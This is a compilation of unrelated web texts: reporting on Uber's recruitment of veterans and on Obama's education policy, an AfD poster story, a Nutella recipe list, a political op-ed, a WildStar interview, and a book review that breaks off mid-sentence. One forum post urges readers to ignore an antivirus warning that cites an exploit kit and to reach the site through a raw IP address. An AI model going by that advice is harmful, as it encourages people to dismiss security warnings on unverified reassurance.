Our Heroes partners with local chambers of commerce, businesses, and government agencies to put on veteran job fairs and bring down unemployment numbers. "Everyone’s into supporting the troops," says Cohen. "But beyond that, we want to make the business case for hiring veterans. Not because its a charity, but because they make great employees." More than 1 million veterans currently work near minimum-wage jobs Conferences like these offer companies a chance to tap into a labor pool of hundreds of thousands of skilled, hardworking, and eager candidates. And it works: at any given Hiring Our Heroes event, about 12 percent of attending veterans end up landing a job. Hiring Our Heroes hosts a wide range of employers, hiring for a spectrum of jobs — from low-paid cashier positions at Walmart to defense contract work at Lockheed Martin. The goal is employment, whatever the job may be. "We focus on finding veterans jobs in the first place — that’s our mission," says Kim Morton, a staffer with Hiring Our Heroes who oversaw the Boston job conference. Outside the job fair, about a dozen sharply-dressed veterans made small talk while waiting for the doors to open. Many had traveled from out of state. Some were as young as 22; others looked close to retirement. Morton from Hiring Our Heroes moved from veteran to veteran, reviewing resumes and coaching them on interview responses. When the doors opened, dozens of the visibly jittery job-seekers wove their way through tables, shaking hands, swapping business cards, and accepting complimentary swag from would-be-employers like the Boston Fire Department, the US Postal Service, and Bank of America. A few paces from an OfficeMax table, two young, fresh-faced Uber recruiters manned a small booth. In a room full of paunchy middle-aged HR managers and neatly dressed veterans, the duo stood out. Both wore plaid shirts, and one wore a backwards baseball cap. To each veteran who sat down, they offered a complimentary Uber baseball cap, and passed over an iPad with Uber’s application on the screen. Before launching UberMILITARY, Uber ran a small case study in San Diego to measure veterans’ performance as drivers. The results spoke well for the veterans’ abilities: drivers with a military background drove more rides per hour and received higher ratings than civilian counterparts. Since the initiative was introduced, the company has dispatched recruiters to dozens of conferences, allowing Uber to solicit thousands of these above-average potential drivers. The initiative has been a tremendous success: over 1,000 military veterans signed up in the first two weeks alone. In a room full of paunchy middle-aged HR managers and neatly dressed veterans, the Uber recruiters stood out Malik walked into the job fair wearing a slim grey suit and a calm expression. His resume was polished, and came armed with answers to common interview questions. One semester away from his master's degree in security studies, he felt confident and qualified. But when he sat down with the Uber recruiters they didn’t look at his resume, or ask many questions. Instead, they launched into their pitch: Uber helps veterans become small business owners, they told him. All you need is a car. And if you don’t have one, Uber will help facilitate a loan. Malik didn’t have a car, but told the recruiters he’d ask a cousin if he could borrow his. They swapped business cards. It was all over in just a few minutes. Uber doesn’t consider its drivers employees, but "partners" — individual, small business owners working with, not for, the company. Becoming a small business owner, and the promise of the respectable income that comes with it, appeals to veterans. Many vets see their standard of living plummet when they leave the military. "While serving, soldiers are accustomed to housing, health-care, and benefits," says Steve Dunwoody, Program Manager with Vote Vets, a 200,000-member group that advocates for employment opportunities for returning veterans. "But when they return to civilian life, they are often forced to take low paying jobs." At the Boston job fair, Uber recruiters gave Malik a flyer that promised $25 to $40 an hour driving an UberX. They threw in an added incentive: Uber would only take a 15 percent cut, down from the usual 25, until January 1st. The company claimed the median earnings for a full-time driver in New York was over $90,000 a year "Uber makes a concerted effort to be clear with partners on [fare] numbers," Arielle Goren, a spokeswoman for Uber, wrote me in an email. Estimated hourly wages can vary, she says, "based on factors such as what kind of car a partner drives, which service he/she drives with, how far away he/she lives from the area typically served, etc." But take-home pay can be far less than drivers are led to expect. Since Uber drivers are not technically employees, they must pay out of pocket for gas, insurance, and car expenses — costs the company doesn’t account for. Uber won’t release comprehensive statistics on driver income. But in May, the company claimed the median earnings for a full-time driver in New York was over $90,000 a year. Slate’s Alison Griswold recently did the math — factoring in expenses — and the numbers didn’t add up. One of the drivers she spoke with reported a take-home rate of $12 an hour. Griswold asked Uber to point her to a driver making the advertised median income, but the company declined. D. R. Lacy, an Army Veteran from Elmira, New York The company also changes fares and compensation rates at will, and experiments with the drivers’ share of profits. In Los Angeles, Uber’s largest market, drivers for its UberX service earned $2.40 per mile and took home 95 percent of their fares last December. Now, they take in $1.10 and 80 percent of their fares. These unpredictable working conditions don’t sit well with many drivers. There are currently attempts in Los Angeles, New York, and Seattle to unionize. Labor rights organizations have launched strikes and protests over what organizers call low-wages and precarious working conditions. In Boston and San Francisco, class action lawsuits against Uber were recently filed, alleging labor violations. Uber has tried and failed to get both suits dismissed. A fare deal From Los Angeles to Des Moines, we ran the numbers for a 15-minute, 5-mile UberX trip to find the least and most expensive estimated fares from across the country. New York City, NY - $19.75 Asheville, NC - $15.45 Dayton, OH - $14.50 Flagstaff, AZ - $14.20 Des Moines, IA - $13.75 San Francisco, CA - $13.60 Washington D.C. - $13 Seattle, WA - $12.90 Lincoln, NE - $12.25 Jacksonville, FL - $11.50 Miami, FL - $11.45 Detroit, MI - $11.10 Chicago, IL - $10.50 Los Angeles, CA - $10.45 Dallas, TX - $9.55 Vets, like many Uber drivers, have been disappointed to find that the reality of driving for the company falls short of what’s advertised. Danielle Silva, who served for 10 years in the Navy, encourages veterans like Malik to think twice before enlisting in UberMILITARY. She joined Uber last May after seeing an ad that promised $30 to $40 an hour for drivers in Sacramento. Her car had recently been totaled by a drunk driver, and she planned to drive a few hours per week while her kids were in school in order to afford a new Toyota Camry. Two weeks after she started, Uber cut its rates by 20 percent in Sacramento. Now Silva has to work the late-night bar rush nearly every weekend to keep up with car payments. "I don’t like to complain. I’d flip hamburgers to make ends meet and feed my kids," says Silva, a single mother of seven. "But this is not what I was promised, and I’m worried that other veterans are going to be misled." Uber reserves the right to fire drivers for seemingly minor infractions. Drivers with average passenger ratings that fall below 4.6 out of 5 run the risk of being "deactivated." One driver recently lost their job after retweeting a story that was unflattering to the company. Silva worries about deactivation. Last month, out of fear of receiving a low rating, she held her tongue while three drunk male passengers sexually harassed her. "When I told them I had seven children, one of the guys said ‘your vagina must be wrecked,’" she recalls. Silva was the only woman in her navy unit, and she’s comfortable confronting men who get too crude. "But driving for Uber, this is my job, and if my rating gets too low, I can lose it," she says. That night, she laughed uncomfortably along with her drunk passengers. Matthew Coley, a Navy veteran from Somerville, Massachusetts The veterans at the Boston job fair I spoke with were unaware of the difficulties that some Uber drivers face. Malik left the conference interested in becoming a driver. A few days after he returned to New York, the Uber recruiter from the conference sent him a text: "Hey Ali, did you get a chance to talk to your cousin?" Malik then began asking around about Uber. A friend’s brother who drove for Uber warned that because of the out-of-pocket expenses, drivers have to work long hours to bring in a reasonable income. "They didn’t mention that to me at the conference, though maybe they thought it was just common sense." In the end, Malik’s cousin wouldn’t lend his car, and Malik told the Uber recruiters no thanks. Uber still texts him every other day, prodding him to sign up. Uber still texts him every other day, prodding him to sign up The Boston job fair did produce some promising leads for Malik and he feels optimistic that when classes end in January, he’ll be able to land a job. But not with Uber. Though he sees how the job could appeal to other veterans. "A lot of these guys come home and want to start working immediately," he says. That said, he feels veterans deserve more than what low-wage employers like Uber offer: "Soldiers who served honorably shouldn’t have to work for low wages, they should be able to find a proper career." Shortly after UberMILITARY launched last month, Robert Gates and Travis Kalanick appeared on CBS This Morning as part of a publicity tour. Sitting side-by-side in front of a stone fireplace, the CEO and former secretary of defense told CBS correspondent Anna Werner about Uber’s 50,000 veteran hiring goal. Shevon Morrison, a Navy veteran from Westchester, New York |
Obama's Impact On America's Schools Enlarge this image LA Johnson/NPR LA Johnson/NPR When President Obama took office in January 2009, the country was on edge, the economy in free-fall. The federal education law, known as No Child Left Behind, was also in need of an update after earning the ire of teachers, parents and politicians alike. In short, there was much to do. In time, that update would come, but President Obama's education legacy begins, oddly enough, with his plan to bolster the faltering economy. Race To The Top In the summer of 2009, Obama and Education Secretary Arne Duncan announced that a small piece of the American Recovery and Reinvestment Act, aka The Stimulus, would be used to create a competitive, $4.35 billion grant program for states. They would call it Race To The Top. The administration used the money to encourage — Obama's critics would say coerce — states to embrace its education policies, including charter schools, college and career-ready standards and evaluations of teachers using student test scores. The money arrived as many states had been brought to their knees by the Great Recession. Governors and state education agencies didn't just want the extra money — they needed it, and agreed to big changes in hopes of winning it. While the grant program was voluntary, 46 states and the District of Columbia applied. Common Core Race To The Top was a boon for the common standards movement and, specifically, for the controversial Common Core State Standards. While the learning standards in English and math were not developed by the Obama administration, the Education Department made the adoption of new college and career-ready standards a key component of applying for the grant money. States didn't have to adopt, but they knew that doing so would help their cause. Obama didn't create the Core; he fast-tracked adoption. His administration also used $350 million to bankroll two testing consortia, PARCC and Smarter Balanced, that would develop standardized tests aligned to these new standards. Initially, most states signed on to one or the other, but, after years of blowback from Common Core critics, the consortia have hemorrhaged members, with many states keeping the Core but choosing their own tests. Today, the Common Core standards, or something very like them, are still used by the vast majority of states, though President-elect Donald Trump has made clear he'll do all he can to short-circuit the standards once and for all. Teacher evaluations By 2011, it was clear that the key requirement of the No Child Left Behind law, that all children be proficient in reading and math by 2014, wasn't just unrealistic but impossible. So the Obama administration began offering states a way out — a reprieve from the law in the form of a waiver. In return, though, states were required to do several things, none more controversial than this: Evaluate teachers using student test scores. The move infuriated many teachers and their union leaders and no doubt contributed to what would later become the "opt-out" movement. It also angered lawmakers on Capitol Hill who considered waivers an end-run around them. When Congress finally reworked No Child Left Behind in late 2015, renaming it the Every Student Succeeds Act, lawmakers notably decided not to require that states evaluate teachers using student test scores. Preschool President Obama talked early and often about the importance of high-quality preschool for all. He said this in his 2013 State of the Union Address: "Study after study shows that the sooner a child begins learning, the better he or she does down the road. But today, fewer than 3 in 10 4-year-olds are enrolled in a high-quality preschool program. Most middle-class parents can't afford a few hundred bucks a week for a private preschool. And for poor kids who need help the most, this lack of access to preschool education can shadow them for the rest of their lives. So tonight, I propose working with states to make high-quality preschool available to every single child in America. That's something we should be able to do." Obama even proposed a $75 billion plan to provide universal preschool to the nation's 4-year-olds, but congressional Republicans balked at his pitch to pay for it: a 94-cent tax increase on cigarettes. Ultimately, as he did with Race To The Top, Obama used the promise of federal dollars to entice states to create or expand their pre-K offerings. In 2014, the administration's Preschool Development Grants spread more than $200 million across 18 states, expanding access to high-quality preschool to 33,000 children, according to the department. 83.2 percent The high school graduation rate hit an all-time high under President Obama, reaching 83.2 percent in 2014-15. In October 2016, when Obama announced this latest uptick, he used the moment to reflect: "When I took office almost eight years ago, we knew that our education system was falling short. I said, by 2020 I want us to be No. 1 across the board, so we got to work making real changes to improve the chances for all of our young people. ... And the good news is that we've made real progress." Now, it's difficult to say how much credit Obama deserves for that progress. Some, to be sure. But the NPR Ed Team has also reported extensively on state and district strategies to artificially boost their graduation rates, including this recent "black eye" for Alabama's department of education. The school-to-prison pipeline Obama drew national attention to the issue of "zero tolerance" discipline and argued that such policies disproportionately target black and Latino students for minor infractions like truancy, dress code violations and profanity. He vowed to have his administration — the Education and Justice departments — crack down on states and districts that had gone too far. It's unclear how much of an impact this had on school disciplinary policies across the country, but some advocates who've spent years calling for an overhaul of these policies at the state level credit the Obama administration for bringing lots of attention to the issue. ESSA As we mentioned, by the time Obama took office, the federal education law known as No Child Left Behind had alienated just about everyone with a stake in America's schools. But few could agree on a fix and, even with Democrats in control of Congress early in his first term, Obama did not prioritize a rewrite. So the law stayed on the books until midway through his second term. By then, a consensus had formed around a few big fixes: 1. Annual testing and breaking those results down into specific groups of students is important and should continue; 2. But the federal government should no longer be the grand arbiter of how to measure school success or remedy failure; 3. Because that job, along with the adoption of standards and evaluation of teachers belongs to states, period. The ESSA is in many ways a repudiation of NCLB's unrealistic expectations and heavy-handed tactics. Though some civil rights groups worry that the new law devolves too much responsibility back to states who, in the past, have sometimes failed to protect the interests of their most vulnerable students. Higher ed Soaring college costs and student debt were two major concerns for President Obama when he took office. During his tenure, the total amount of outstanding student loan debt for the first time exceeded a trillion dollars, prompting the National Association of Consumer Bankruptcy Attorneys to issue a warning: A "student debt bomb" was on the horizon. Student debt The administration moved quickly to bring relief. In 2009, the Education Department launched an "income-based" repayment plan using students' discretionary income after graduation. Students saw their monthly payments drop considerably. The administration also reduced the interest rate on Stafford Loans, the biggest government-guaranteed loan program, and put an additional $50 billion into Pell Grants for low-income college students, raising the award to its current maximum of $5,775. These will be remembered as some of the most sweeping changes in the federal government's oversight of higher education, in particular Obama's decision to end the federal government's partnership with banks and private lenders who for decades had issued government-backed loans to college students. Instead of having to deal with private lenders and banks, borrowers and schools now deal with only one — Uncle Sam. The administration argued that by removing private lenders, the program would save over $60 billion that could be put back into more loans and grants. College scorecard In 2013 Obama floated another controversial proposal, a federal "rating" system designed to help students and parents compare colleges based on cost, financial aid and academic quality. Colleges would be required to disclose in a more user-friendly way things like student default rates, dropout rates, graduation rates. For the first time, institutions would also have to disclose their students' earnings after graduation. Despite the pressure to hold higher ed more accountable for the hundreds of billions of dollars colleges get in federal funds, private and public institutions lobbied successfully to kill the rating system idea, saying that it was based on the wrong metrics and therefore would result in "unfair comparisons." While the rating idea didn't fly, the administration compromised by creating a "scorecard" that provides a wealth of data on colleges and costs, leaving students and parents to make their own comparisons. For-profit crackdown Obama came into office at a time of mounting concern over some for-profit colleges and whether they were giving students their money's worth. The administration worked with Democrats in Congress to create a plan that for the first time tied federal aid to something called "gainful employment." The idea is, if you're going to pay an arm and a leg for a college degree, it should at least guarantee you a job with a living wage. Eventually this led to a crackdown on for-profit colleges that were taking federal aid but too often saddling students with enormous debt and worthless degrees. In the end, President Obama's efforts to expand access, lower college costs and introduce consumer-friendly reforms to higher education were overshadowed by a growing perception among many Americans that, for all its promise of upward mobility and opportunity, higher education is becoming too expensive and detached from the real world of work and good jobs. |
A German nationalist party ceased distribution of an anti-Islamic poster featuring a pig Sunday because it unintentionally garnered sympathy for the animal. The poster in question featured a picture of a piglet beneath the text “Islam? Doesn’t fit with our cuisine,” according to the Associated Press. Alexander Gauland, a leader in the populist Alternative for Germany (AdF) party, said the poster is “unusable” because it created too much sympathy for the pig instead of campaigning against Islam. “I’m concerned children will say: ‘What? They want to slaughter this pig?'” Gauland told German newspaper The Bild. “The poster campaigns for the piglet, not against Islam, so away with it.” AdF has no shortage of provocative posters for their nationalist campaign. Several AdF posters campaign directly against Islamic culture in Germany with slogans such as “Burkas? We’re in bikinis” and “Colorful diversity? We did already.”AdF also campaigned against the Eurozone bailouts in 2013 with posters that read “Euro-rescue? Not for every price.” Another poster features a woman with her infant child and the text “And what is their reason for Germany to fight?” The AdF primarily campaigns against Islam, immigration related to the refugee crisis, and the European Union, according to BBC. The group’s anti-Islamic sentiments are in some part a response to the increased Salafist Islamic violence in Germany, and the attempts of some radical Islamic groups to enforce Sharia law in certain German communities. Follow Joshua on Twitter Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. |
Welcome to Top 10 Tuesday! This is a brand new weekly meme brought to you by Money $aving Michele, Tammilee Tips, Snaps of Our Life, Nap Time is My Time and Just 2 Sisters blogs! We are just a few blogging friends who want to have some fun and bring you some great information all in one spot! You never know what you will find in the top 10 posts. Frugal tips, mom tricks, funny tales, jokes, photo tips, kids, green living, coupons, recipes and just plain old life! It’s bound to be a fun mishmash of interesting posts, you won’t want to miss! Stop back each week and see what top 10 things you can get into! 10 Great Nutella Recipes 1. No Bake Nutella Cheesecake 2. Nutella Coffee Frozen Yogurt Recipe 3. Nutella Cupcake Sliders 4. Flourless Nutella Cookies 5. Nutella Biscotti 6. Nutella Bacon Crescent Rolls 7. Nutella Milkshake 8. Chocolate Cupcakes with Nutella Frosting 9. Nutella Peanut Butter Balls 10. Nutella Buddies |
Let’s face it: The American political system is broken. The midterm elections were a stinging repudiation of President Obama, but Republicans should also feel chastened: A poll last year found Congress less popular than cockroaches. So congratulations to those members celebrating election victories. But our democratic institutions are in trouble when they can’t outpoll cockroaches. Which didn’t even campaign. “Politics is the noblest of professions,” President Eisenhower said in 1954, and politics in the past often seemed a bright path toward improving our country. President Clinton represented a generation that regarded politics as a tool to craft a better world, and President Obama himself mobilized young voters with his gauzy message of hope. He presented himself as the politician who could break Washington’s gridlock and get things done — and we’ve seen how well that worked. I’m in the middle of a book tour now, visiting universities and hearing students speak about yearning to make a difference. But they are turning not to politics as their lever but to social enterprise, to nonprofits, to advocacy, to business. They see that Wendy Kopp, who founded Teach for America in her dorm room at Princeton University, has had more impact on the education system than any current senator, and many have given up on political paths to change. |
tough honest Miguelito: As you may or may not be aware, most of the weirdos who will be reading this interview almost certainly feel betrayed by the current homogeneous MMO market. If you were to offer a specific feature or characteristic of WildStar that could bring a retired Ultima Online or Star Wars Galaxies veteran back to the genre, what would it be? Gaffney: For veterans of those games in particular, housing’s gonna have a lot of appeal. But my psychic senses detect that you’re going to ask about that in a few questions, so I’ll hit a less obvious one and soliloquize: over time we’d like to provoke a rares market similar to what UO had – but less so based on crazy bugs like picking up terrain tiles (well, we might accidentally have some of those) and instead, more systematically have things that enter the world for periods of time that are collectable and interesting. We’re still mucking around with some of the what’s and how’s (we iterate a lot, so pinning us down is nontrivial) but I really think that the rares economy was an overlooked subtlety of UO that I haven’t really seen done right since – maybe some of that itch was scratched by achievement systems entering the genre, or EQ2 collections, but there’s something cool about a world alive enough that not everything’s static and there all the time. Discoveries (random player-started mini-events that can be anything from boxes of loot, to bots that follow you around and buff you, to quests, to dungeon entrances) are part of that non-static feeling, but in my opinion collecting and having an economy around those sorts of things are cool. There’s so much stuff in housing alone, that making some of it rarer than others (and/or player craftable, or rare drops, or seasonal, or requiring obscure quest lines or activities to get) is a natural in any case. Damn, back on housing. (Oh, for those who aren’t all UO-y, my familiarity comes from being lead prog on UO2 as well as playing) – a big market of rare items kind of emergently developed in UO. Mostly this was all based around bugs and glitches to start – you could pick up a grass tile that wasn’t nailed down if you hustled over to the right spot after a server reboot, or items that were once available and then left the game. When developers try to manage stuff like that (as did some generations of the UO design teams) it’s very easy to make it TOO accessible – an obscure quest gating stuff over time is done by most players in the game, or a 1% drop is still found by thousands of players daily. Some of the UO rares existed with dozens total on a server, or were even unique. All emergent, but those kinds of things are developer crack to see if you can get some of those cool elements that arose without depending on bugs. Even just gating when items can enter into the economy and then seeing what happens with the economy when you guarantee scarcity for a period of time thereafter is interesting.) Anyways, that’s a subtlety and won’t bring that crowd back into the genre (which was your original question) and that will develop over time as the game is live or not. More obvious answers are housing (tons of depth there), Warplots (build a destructible town, chain down some raid bosses, and sic them on your enemies, what ain’t to like?), dynamic content (kind of an overused buzzword, but great when done right), competitive raids, social systems support (through settlers and more). And other stuff, but I’d just as soon not be a USP bullet point machine gun. Despite what you may initially anticipate, this is not a joke or parody article. I understand that me saying that only further perpetuates the notion that it is. Thanks to Team WildStar's community director, Troy Hewitt, (@CRB_Aether) I have wrangled a pretty good Q&A with WildStar's Executive Producer Jeremy Gaffney, who you may recognize from... everything. I asked thefun questions and got someinteresting feedback. I can now focus all of my UO2 hatred on somebody! Neat! Miguelito: One of the things I always mention about the golden age of gaming is the presence of tangible consequences for failure that makes victory more exciting. Though there is no unforgiving death system in WildStar, is there anything in the works that makes victory over player opponents sweeter? Gaffney: Yeah, we’re debating just how much persistent pain for instance to put into Warplots (how much “skin” should you put into that game? Persistent warplot damage? Ante up some epic phat loots to be won or lost in the match? Opinions welcome, jaded MMO crowd). We think that death should be meaningful – you bonded well in EQ when someone jumped in saved your butt, and might make a lifelong friend, and part of that was the pain of death. But simultaneously in the same game, you were pissed if someone killstole you – and that is a remarkably similar behavior. So hitting the sweet spot on what is good pain and what is bad we’ll admit is nontrivial. In general I’m advocating that the more ‘elder’ the system the more hardcore it is. Nobody openly admits that they want to be tortured by video-games, but Ninja Turtles (NES) had a water level for a reason. Miguelito: Player Housing hasn’t been done right in a MMORPG for a very long time, so... a. Can you have a vendor in your house? Gaffney: Yep, but not the way you mean. Some plugs you add to your house have vendors so you can buy/sell tuff. However, you probably mean like a vendor that can sell items for you like Lineage 2 or Ultima Online or some such – and we use the auction house for that. We feel the immersion of setting up a vendor is outweighed by having to run around trying to find them all, but some players will probably argue otherwise. b. Instancing aside, do players have to get an invitation to get to your house, or can you lure unsuspecting victi... friends to come hang out? Gaffney: You can set your house public or invite your so-called friends. If you have any. c. Can you PvP on your homestead? Gaffney: You can duel, but PVP housing is called Warplots - it involves building giant fortresses with 39 of your buddies, chaining a raid boss down to it, and beating the crap out of other fortresses Like 2Forts in Team Fortress, except you build the forts, and send dragons to attack the other fort, and build factories that create mech suits to hop in and start destroying each other. So nothing like 2Forts. d. Can your house have some sort of psychopathic butler that attacks you Pink Panther style? Can he be a robot? Gaffney: Awesome. Nope. Also, Seek help. e. What is the thing you like most about your player housing system? Gaffney: It’s all about making your mark on the world – it’s just cool to build a place and call it your own, and we’re trying to tie as many systems into it as possible so it’s not “just” decorative. Not that decorating is suck either, but there’s something about tying it into the world that takes it up a notch. Also the plugs they are adding are crazy, mini-quests and puzzles and social “party” plugs and things attacking your land… just cool. Miguelito: Be honest, were there any crazy features that just didn’t make the cut? Gaffney: We experiment with all sorts of stuff, so there are tons of these. Most end up making it back in in some perverse fashion however, so I’m scared to mention any that might reappear. Crossing my fingers on rideable llamas... Miguelito: All the cool kids play immersive hardcore sandbox games. I suppose that isn’t really a question. Gaffney: Yeah, that’s what our grandkids tell us, the whippersnappers. We do some freeform aspects (settler campfires, dynamic discoveries, housing, etc.) and some fixed (towns, hubs, some static quests, etc.) and some hybrid (settler buildings in towns). We tend to do more themeparky stuff early (new players need direction) and more sandboxy stuff later (you’re at level cap, you have big boy pants on now - go build a town and take it into battle, you crazy shiny flower). But it’s like business models – people often enjoy hating gameplay styles more than liking them, really, especially because you’ve been burned (or burned out) by one game or another. So we really don’t stress one way or another and do what we find fun, and then people can choose what to dislike or enjoy. Freedom at any level is always a good thing for the longevity of a MMORPG. Miguelito: All the cooler kids have cool kids, will I be able to melt face with one hand on the mouse and one hand holding my adorable 6 week old baby girl? Gaffney: Nope, sucks to be you. They call that “cigarette combat” and we actually require skill and gameplay and two hands, so you’ll have to let your baby fend for herself until she’s old enough to farm gold for her weekly allowance. Or a babysitter. That's okay, she's 8 weeks old now and she can fend for herself. Miguelito: It seems sad to see all those space ships and not have one of my own... Are there any plans to expand WildStar to the stars? If so, can you do it in a non-terrible way? Gaffney: The latter question is the important one. The engine’s built to allow flight, but we won’t add that kinda thing unless we can make it awesome. You can bop up to the moons (low gravity zones, w00t superjump) and the defense ring around the planet, but that I’m sure ain’t what you mean. I'll take no space-flight over rail-shooter bullshit any day of the week... Not that I'm naming names... SWTOR... Miguelito: I am definitely loving the sense of humor in the Dev Speak Videos and Trailers. Can I expect to laugh my ass off all the way through WildStar, or is the tone going to be ironically somber? Gaffney: We aim to have all the light-hearted levity Game of Thrones shows to its main characters. I see what you did there... Miguelito: Ever since Super-Metroid, Double-Jump has been awesome. Age of Wushu aside, why do you think that so few MMORPGs have capitalized off what should be a no brainer feature? Gaffney: I have no idea, but we are laughing all the way to the bank, clutching our key feature in our little hands. Actually most games don’t pay enough attention to movement, you spend about 70% of your time moving, 20+% fighting – those are key to make be awesome, and often the 70% gets ignored. We call it making sure there’s “Joy of Movement” which I think we stole from the Guild Wars guys. I'd love to see some Tony Hawk features added to the platforming in WildStar! Miguelito: Is WildStar a ‘true’ Massively Multiplayer game, or are zones broken up into separate cloned instances? Gaffney: We’re for realzors. We instance noob zones so that there are only 10s of people around on launch day not 10000 in line to kill a sheep though. Level 6 and up it’s big open world. Group content we do instance usually so it’s not standing in line to kill your needed Guk. So... happy... Miguelito: How do you feel about the relationship between balance and novelty? Is it is more important for character classes to be equal, or for them to be unique and interesting? Gaffney: I actually counsel designers (and have for years): Make it fun, then balance it. Fun is harder than balance, so tackle that first. Then don’t balance all the damn fun out of it. I would say that I couldn't say it better myself, but I probably could... because I rule. Miguelito: For such a high profile project, you sure seem to be handling the community without kid gloves. Are you confident in your product or something? Gaffney: I dunno, we screw stuff up all the time. We just built the tools and engine around having it be as easy as possible to make it better. We have an all-inclusive no-BS policy – me to my team, my guys to each other, and all of us to the fans. It means not promising things we don’t have faith in delivering. Our Community Team just won’t allow it. We’ll get some stuff wrong when talking to the community, but we’ll err on the side of being forthright about our mistakes, communicate as frankly as we can about what went wrong, and what we’re doing to fix it. We hope people will cut us slack when we goof and say too much, or talk about something which then has to change for a production related reason. Sure, we’d rather not goof it up in the first place, but we’re at least going to be honest about it. It also helps that we have the best community team in the business. Don’t tell them I said that, though. The fear and stress keeps them focused. Thanks for giving us some time to share a little bit of WildStar with you. Now we’ve got to get back to work. Thanks for making me feel important! That's all, folks. Team WildStar, if nothing else, has made great strides in transparent development. The game definitely looks promising so far, so let's all cross our fingers and hope I don't have to write a follow up! Miguelito out. |
Hi there fine members of THC Kaspersky anti virus has now listed kicks-ass.org as having a security / web threat warning… There is no threat on THC anywhere, so you can ignore the warning or read on… I don’t have Kaspersky or Symantic on this comp as I run Linux, but with the help of gumble I at least narrowed it down this is the warning that appears: Kaspersky has no listings or ways to look up info on reported threats directly at their site, so I had to go elsewhere. AVG on the other hand is much more helpful! With AVG, I found it wasn’t “horrorcharnel.kicks-ass.org” that was the problem, but another subdomain of kicks-ass. this is what I found: 30-day site report for: kicks-ass.org Currently Safe No current active threats appear on this domain. However, during the last 30 days potentially active threats did appear on a subdomain… Blackhole Exploit Kit you can test this yourself by using AVG’s tool: http://www.avgthreatlabs.com/sitereports/domain/kicks-ass.org/ We take security and safety seriously here at THC! I wanted to be sure there was nothing to worry about, so I looked a bit more… McAfee likes us: [ http://www.mcafee.com/threat-intelligence/site/ ] This page shows information on the URL’s web reputation, affiliations, dns servers and associations. http://www.horrorcharnel.kicks-ass.org Minimal Risk McAfee wrote:When we visited this site, we found that most of its links are to sites which are safe or have only minor safety/annoyance issues. finally, webutation.net [ http://www.webutation.net/go/review/horrorcharnel.kicks-ass.org?req=firefox#webmasters_tab ] gave us an 80/100. I’m guessing we lost 20 points for “WoT (Web of Trust)” whatever that is We are working on this issue, and hope to have it resolved soon. THC is safe and malware free, and it always will be! If you are concerned with the warning, feel free to bypass kicks-ass.org and use our direct IP address: http://67.21.232.187 We had this problem once before with kicks-ass.org, FireFox had us listed as a phishing site. No! not that kind of fishing! It took a month or so to clear up. Let’s hope we can do it faster this time! cheers! |
Alan Lightman is a physicist, novelist and professor of the practice of the humanities at MIT. His latest book is “The Accidental Universe.” In “Einstein, God, and the Big Bang,” a colorful chapter of his new book, Amir D. Aczel maintains that Albert Einstein truly believed in God. He points out that Einstein attended synagogue during his year in Prague (1913). He repeats several famous Einstein utterances mentioning the Deity: “Subtle is the Lord, but malicious he is not” and “I want to know God’s thoughts — the rest are details.” And he quotes from a letter the great physicist wrote to a little girl in January 1936: “Everyone who is seriously interested in the pursuit of science becomes convinced that some spirit is manifest in the laws of the universe, one that is vastly superior to that of man.” Aczel goes on to express strong displeasure with such people as physicist Lawrence Krauss and evolutionary biologist Richard Dawkins (who, in his bestseller “The God Delusion,” says that Einstein “didn’t really mean it”) when they cast Einstein as an atheist in support of their diatribes against religious belief. Dawkins; Krauss, with his bestseller “A Universe From Nothing”; and Sam Harris, with his bestseller “The End of Faith,” are prominent New Atheists, who use modern science to argue that God is not only unnecessary but unlikely to exist at all, even behind the curtains. There’s a certain religious fervor in all these books. Atheists, unite. Aczel, trained as a mathematician, currently a research fellow in the history of science at Boston University and the author of “Fermat’s Last Theorem,” takes aim at the New Atheists in his intelligent and stimulating book “Why Science Does Not Disprove God.” He attempts to show that the New Atheists’ analyses fall far short of disproving the existence of God. In fact, he accuses these folks of staining the scientific enterprise by bending it to their dark mission. (“The purpose of this book is to defend the integrity of science,” he writes in his introduction.) Yet Aczel has a sly mission of his own. Invoking various physical phenomena that do not (yet) have convincing scientific explanations, he sets out not only to debunk the arguments of the New Atheists but also to gently suggest that the findings of science actually point to the existence of God. “Why Science Does Not Disprove God" by Amir Aczel” by Amir D. Aczel. (William Morrow) In stockpiling his arguments, Aczel quotes from his interviews with dozens of leading scientists and theologians, and interprets statements in a range of popular writings. The resulting book is part science (interesting but superficial summaries of cosmology, quantum mechanics, evolutionary biology, chaos theory), part history of religion, part philosophy, part spirituality, and a modicum of backbiting and invective. The latter applies to the writings of the New Atheists as well. Let’s start with the origin of the universe. There is plenty of good scientific evidence that our universe began about 14 billion years ago, in a Big Bang of enormously high density and temperature, long before planets, stars and even atoms existed. But what came before? Krauss in his book discusses the current thinking of physicists that our entire universe could have emerged from a jitter in the amorphous haze of the subatomic world called the quantum foam, in which energy and matter can materialize out of nothing. (On the level of single subatomic particles, physicists have verified in the lab that such creation from “nothing” can occur.) Krauss’s punch line is that we do not need God to create the universe. The quantum foam can do it quite nicely all on its own. Aczel asks the obvious question: But where did the quantum foam come from? Where did the quantum laws come from? Hasn’t Krauss simply passed the buck? Legitimate questions. But ones we will probably never be able to answer. In his foray into biology, Aczel says the theory of evolution is flawed. In particular, he points out that it does not explain altruistic behavior with no apparent survival benefit to the genes of the do-gooder. He cites a recent example of a Mount Everest climbing expedition in which an Israeli climber was well on his way to the top when he discovered a fallen Turkish climber who had lost his face mask and oxygen supply. At the cost of his own fingers and toes to frostbite, and sacrificing the glory of reaching the summit, the Israeli stopped and saved the life of the Turkish fellow. Why did he do it? “Human decency and goodness,” Aczel writes, with the implication that such qualities come from religion and spirituality. (In another chapter, he explains how a code of morality developed in early religions.) Aczel discusses the mysteries of “emergent” phenomena — when a complex system exhibits a qualitative behavior that cannot be explained in terms of the workings of its individual parts: for example, the emergence of self-replicating life from inanimate molecules or the emergence of consciousness from a collection of connected neurons. He writes, “The inexplicability of such emergent phenomena is the reason why we cannot disprove the idea of some creative power behind everything.” I disagree. It is not the inability of science to explain some physical phenomenon that shows we cannot disprove the existence of a creative power (i.e., God). Science is a work in progress, and phenomena that science cannot explain now may be explained 100 years from now. Before the 18th century, people had no explanation for lightning. The reason that science cannot disprove the existence of God, in my opinion, is that God, as understood by all human religions, exists outside time and space. God is not part of our physical universe (although God may choose to enter the physical universe at times). God is not subject to experimental tests. Either you believe or you don’t believe. Thus, no matter what scientific evidence is amassed to explain the architecture of atoms, or the ways that neurons exchange chemical and electrical signals to create the sensations in our minds, or the manner in which the universe may have been born out of the quantum foam, science 